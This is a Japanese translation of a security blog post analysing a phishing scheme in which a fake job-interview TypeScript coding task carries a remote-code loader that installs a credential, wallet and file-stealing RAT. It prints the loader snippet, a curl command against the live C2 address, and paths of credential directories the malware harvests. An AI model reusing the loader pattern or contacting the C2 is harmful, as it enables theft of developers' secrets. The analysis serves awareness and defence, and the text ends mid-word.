セキュリティ
求職面接でシステムを侵害する方法
How to compromise your system with a job interview (codedge.de)
要約
この記事は、求職面接のコーディングチャレンジを装ったフィッシング詐欺について解説しています。攻撃者は、実行すると外部エンドポイントから悪意のあるコードをダウンロードして実行するTypeScriptコードベースを送信します。このコードは、認証情報、ウォレットデータ、ファイルを盗み、クリップボードを監視するリモートアクセス型トロイの木馬(RAT)として機能します。著者は、疑わしい兆候について警告し、DockerやVagrantのような隔離方法を予防策として提案しています。
全文翻訳
ITの求人市場は厳しい状況です。そのため、LinkedInであなたに連絡してきた採用担当者が、あなたのこれまでの経験に基づいた新しいポジションの適切な候補者である場合、あなたは幸運だと感じるかもしれません。しかし、それは一見したところそうではないかもしれません。
パートタイムのリモートワークと魅力的な時間給の「関連性のある機会」は、LinkedInで新しい求人オファーが来たときに、多くの現役のソフトウェアエンジニアを引きつけるでしょう。私の友人の一人がまさにそうでした。その求人は、以前の経験と非常によく合っており、LinkedInでの数回のメッセージの後に迅速に送られてきたコーディングチャレンジで面接プロセスをスピードアップするというものでした。
情報
最初の連絡は、その会社自身が知らない名前で行われました。したがって、それはあなたの秘密や認証情報を盗むための純粋なフィッシングです。その会社はこの状況を認識しており、LinkedInで状況を説明する投稿をすでに公開しています。
テストを開始する前に、以下の点に疑念を抱くかもしれません。
あなたに連絡してきた人物がLinkedIn上のその会社の一員ではない
コーディングテストを受ける前に、最初の「知り合いになる」ための電話がない
テストが、あなたの得意なプログラミング言語とは異なる言語で行われる可能性がある
コードがBitbucketで利用可能である(これは私の意見では一般的ではない)
送信者のメールアドレスが、会社の公式アドレスではなく@gmail.comである
hindsight is 20/20 なので、ここでは判断しません。
どのように始まるか
タスクは、与えられたTypeScriptコードベースで様々な問題を解決し、ロジックを拡張することです。受け取ったプロジェクトは約180ファイルで、動作するコードとそうでないコードが混在しており、難読化や最小化はされていません。しかし、外部のhttps://api.jsonbin.ioエンドポイントへのいくつかの呼び出しが含まれています。180ファイルすべてを読まなかった場合、あなたは引っかかります。
これが、システムをさらに検査するために追加のパッケージをダウンロードし始める、魚臭いコードの部分です。
警告
これは、さらに多くのゴミを送り込むエンドポイントです。注意してください!完全なソースコードは、このBitbucketリポジトリで見つけることができます。
```javascript
const initPriceConfig = async () => {
const src = "https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d";
const res = (await axios.get(`${src}`));
const handler = new (Function.constructor)('require', res.data.record.model);
if (handler) handler(require);
};
initPriceConfig();
```
アプリケーションの内部ロジックは、npm run dev、npm startなどを実行することで、常にこの関数を最初に実行します。requireを渡すことで、以下が可能になります。
require('child_process') を使用してシェルコマンドを実行する
require('fs') を使用してファイルシステムを読み取り/ウォークし、永続化を書き込む
require('net')/require('https') を使用して独自の流出チャネルを開く
process.env を直接読み取る。このアプリケーションでは、これは MONGO_URI、JWT_SECRET、SENDGRID_API_KEY、CLOUDINARY_API_SECRET、PAYTM_MERCHANT_KEY を意味します。
あなたのシステムで起こってほしくない多くのこと。
詳細な分析:セカンドステージローダー
jsonbin.ioエンドポイントからの応答は、実質的にリモートコード実行ローダーです。record.modelペイロードは、小さなwebpackバンドルに包まれたobfuscator.io JavaScriptの24,686文字です。
返されたペイロードを難読化解除すると、さらに多くの難読化されたJavaScriptが得られます。このコードは、C2(コマンド&コントロール)サーバーhttp://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5からデータを取得します。
これを使用して、次のコードをプルすることができました。
```bash
curl -sS -v --max-time 30 \
-H 'Authentication: jwt' \
-H 'Accept: application/json, text/plain, */*' \
-A 'axios/1.5.3' \
-D headers.txt \
-o body.bin \
'http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5'
```
これは、トークンとしてjwtを持つAuthenticationヘッダーを必要とします。このエンドポイントは、さらに難読化されたJavaScriptコード、特に以下の4つのモジュールを提供します。
scdata: インタラクティブなRAT(リモートアクセス型トロイの木馬)、node-ptyフルシェル、ピボットとPEMキー窃盗のためのssh2、スクリーンキャプチャのためのscreenshot-desktop+sharp、クリップボード操作のためのclipboardy、および合成キーボードとマウス操作のための@nut-tree-fork/nut-js。また、VMとベアメタルの区別も行います。
ldata: ブラウザの認証情報とウォレットの窃盗犯。Chrome/Edge/Brave/LTをすべてのOSで、すべてのプロファイル(ログインデータ、Webデータ、ローカル拡張機能設定のLevelDBストア、macOSのlogin.keychain)を対象とします。MetaMask、Phantom、Coinbase、Binance、TronLink、Trust、Keplr、Coin98、OKX、Rabbyなど、28のウォレット拡張機能をターゲットにできます。これは無期限にループし、約1分ごとに再アップロードします。
ファイルグラバー: ホームディレクトリをウォークします。
プライベートキー、シークレットフレーズ、*metamask*、bitcoin、solana、.env、*.pem、*.p12、*.pfx、およびドキュメントや画像、そして.ssh、.aws、.gnupg、.dockerディレクトリ全体を探そうとします。また、Windows上のすべてのドライブレターを列挙します。
クリップボードモニター: クリップボードを監視します。
クリップボードをポーリングし、npm-compiler.logというログ名の後ろに隠れてビーコンを送信します。
被害者が147.189.174.138:7321に接続すると、サーバーは受け入れられたソケット上の送信元アドレスを、任意のWebサーバーが訪問者のIPを見るのと同じように認識します。発見も、スキャンも、アドレスの登録もありません。これこそが、アウトバウンド専用設計が攻撃者にとって非常に便利な理由です。NAT、CGNAT、企業のプロキシ、またはホームルーターの後ろで、ゼロ設定で動作し、被害者のIPが変更されても問題ありません。
あなたは仕事を得たいだけだったのに、地獄への扉を開けてしまったのです。
なぜすべてのファイルにアクセスできるのか?
マルウェアは現在のユーザーのホームディレクトリを取得し、調べるパスを構築します。
```javascript
rootDir = os.userInfo().homedir + '';
configDir = [
path.join(os.homedir(), ".aws"),
path.join(os.homedir(), ".ssh"),
path.join(os.homedir(), ".azure"),
path.join(os.homedir(), ".foundry"),
path.join(os.homedir(), ".config"),
//...
]
```
権限昇格を要求することはありません。ルート権限、UAC、またはsudoは必要ありません。なぜなら、それが欲しがるものはどれもルート所有ではないからです。SSHキー、AWS認証情報、ブラウザプロファイル、ウォレットデータ、.envファイルはすべて、設計上ユーザーが所有しているものです。なぜなら、あなたはそれらを日常的に読み取る必要があるからです。あなたのアカウントで実行されているプロセスは、そのアクセス権を継承します。Nodeはここでは何もエキゾチックなことはしていません。シェルからcat ~/.ssh/id_rsaを実行するのと同じように機能します。
Windowsでは、ホームディレクトリを超えて、PowerShell経由でドライブレターを列挙し、各ルートに対してscanDirを呼び出すため、マップされたネットワークドライブやセカンダリディスクも範囲に含まれます。
次回のいくつかの予防策
いくつかのアドバイスが役立ったかもしれませんが、100%の保護は決してありません。あなたは、求人の機会のために受け取るコードの一部から、このようなことを期待しないでしょう。
AI:弱い保護
選択したAIに、難読化されたコード、最小化、外部エンドポイントへの呼び出し、異常なコードパターンなどの異常がないかプロジェクトをスキャンするように依頼してください。これは部分的な解決策にすぎません。jsonbin.ioへの呼び出しは教えてくれますが、返された値が何であるかを見ることはできません。
Docker:部分的に弱い保護
Dockerにすべてを入れ、コードのみを実行することで、ホストシステムを隔離し、保存された秘密を明らかにしません。コンテナにホストデータをマウントしない限り。
Vagrant:おそらく最良の選択肢
完全に隔離されたシステムでコードを実行することが、最良の選択肢かもしれません。VMをスナップショットしてから復元してください。UI/デスクトップ環境がない場合、ブラウザデータを漏洩したりスクリーンショットを撮ったりするモジュールは自己制限的です。それでも、RATとファイルグラバーは機能します。
注意:RATはVMの使用を積極的にフィンガープリントします。system_profilerを実行し、/proc/cpuinfoを読み取り、vmware、qemu、microsoft corporationをgrepしてから、ビーコンに(VM)または(Local)というタグを付けます。このフラグは、オペレーターのトリアージに最も役立つ可能性が高いです。VMはサンドボックスである可能性が高く、実際のウォレットを保持している可能性が低いため、優先順位が下げられたり、より慎重に扱われたりする可能性があります。
AIに関する注意:Claude Codeは、コードベースを異常なパターンについてスキャンするように指示されただけでは、何も奇妙なことを検出できませんでした。
その後どうするか
損害が発生した場合、おそらく行うべきこと:
SSHキーを無効化してローテーションする
パスワードを変更する
平文の秘密情報や変更が必要な情報が保存されていないか確認する…
そしてOSを再インストールする - 安全策を講じるに越したことはありません。
Meanwhi